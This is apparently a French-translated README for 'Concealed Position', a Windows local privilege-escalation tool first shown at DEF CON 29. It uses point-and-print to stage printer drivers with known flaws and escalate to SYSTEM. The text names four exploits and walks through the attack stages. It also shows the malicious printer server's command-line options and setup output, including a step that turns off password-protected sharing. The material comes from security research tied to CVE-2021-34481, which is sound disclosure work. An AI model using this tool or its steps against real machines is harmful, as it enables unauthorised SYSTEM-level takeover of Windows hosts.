
Apportez votre propre outil d'escalade de privilèges de pilote d'impression
Concealed Position est une attaque d'élévation de privilèges locaux contre Windows utilisant le concept de "Bring Your Own Vulnerability". Plus précisément, Concealed Position (CP) utilise la logique de point et impression de package telle que conçue dans Windows qui permet à un utilisateur à faibles privilèges de préparer et d'installer des pilotes d'imprimante. CP installe spécifiquement des pilotes présentant des vulnérabilités connues qui sont ensuite exploitées pour escalader vers SYSTEM. Concealed Position a été présenté pour la première fois à DEF CON 29.
Concealed Position offre quatre exploits - tous avec des noms aussi stupides :
Les exploits sont intéressants car, à part SLASHINGDAMAGE, ils continueront de fonctionner même après que les problèmes soient corrigés. Le seul mécanisme dont Windows dispose pour empêcher les utilisateurs d'utiliser d'anciens pilotes est de révoquer le certificat du pilote - ce qui n'est pas(?) historiquement fait.
Probablement ACIDDAMAGE. RADIANTDAMAGE et POISONDAMAGE sont des conditions de course (pour écraser une DLL) et SLASHINGDAMAGE, espérons-le, est corrigé presque partout.
Concealed Position comporte deux parties. Une imprimante malveillante et un client. Le client se connecte au serveur, récupère un pilote, fait stocker le pilote dans le magasin de pilotes, installe l'imprimante et exploite le processus d'installation. Facile ! Dans le langage MSAPI, l'attaque ressemble à ceci :
Step 1: Stage the driver in the driver store
client to server: GetPrinterDriver
server to client: Response with driver
Stage 2: Install the driver from the driver store
client: InstallPrinterDriverFromPackage
Stage 3: Add a local printer (exploitation stage)
client: Add printer
Il est important de noter que SLASHINGDAMAGE ne fonctionne pas réellement comme cela. SLASHINGDAMAGE est une implémentation de l'attaque d'imprimante malveillante décrite à DEFCON 28 (2020) et a été corrigée depuis longtemps. Il se trouve que j'apprécie cette attaque (elle a déclenché le reste de ce développement) et j'ai pensé que je laisserais l'exploit dans mon serveur malveillant... aussi déroutant que cela puisse être.
On peut soutenir que oui. Le magasin de pilotes est une "collection de confiance de ... packages de pilotes tiers" qui nécessite un accès administrateur pour être modifié. En utilisant GetPrinterDriver, un attaquant à faibles privilèges peut préparer des pilotes arbitraires dans le magasin. Cela, à mon avis, franchit une frontière de sécurité claire.
Microsoft a semblé d'accord lorsqu'ils ont publié CVE-2021-34481.
Cependant... on peut soutenir que ce n'est simplement qu'une fonctionnalité du système et pas du tout une vulnérabilité. Cela n'a pas vraiment d'importance. Un attaquant peut escalader vers SYSTEM sur des installations Windows standard.
Au moins Windows 8.1 et versions ultérieures.
Simple ! Si simple qu'il y aura beaucoup de paragraphes pour le décrire !
Tout d'abord, regardons les options de ligne de commande de cp_server :
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
CLI options:
-h, --help Display the help message
-e, --exploit arg The exploit to use
-c, --cabs arg (=.\cab_files) The location of the cabinet files
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Ci-dessus, vous pouvez voir que le serveur nécessite deux options :
Par exemple, disons que nous voulions configurer une imprimante malveillante qui servirait le pilote ACIDDAMAGE. Il suffit de faire ceci :
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
[+] Creating temporary space...
[+] Expanding .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Pushing into the driver store
[+] Cleaning up tmp space
[+] Installing print driver
[+] Driver installed!
[+] Installing shared printer
[+] Shared printer installed!
[+] Automation Done.
[!] IMPORTANT MANUAL STEPS!
[0] In Advanced Sharing Settings, Turn off password protected sharing.
[1] Ready to go!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Et voilà, vous verrez une nouvelle imprimante sur votre système :
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer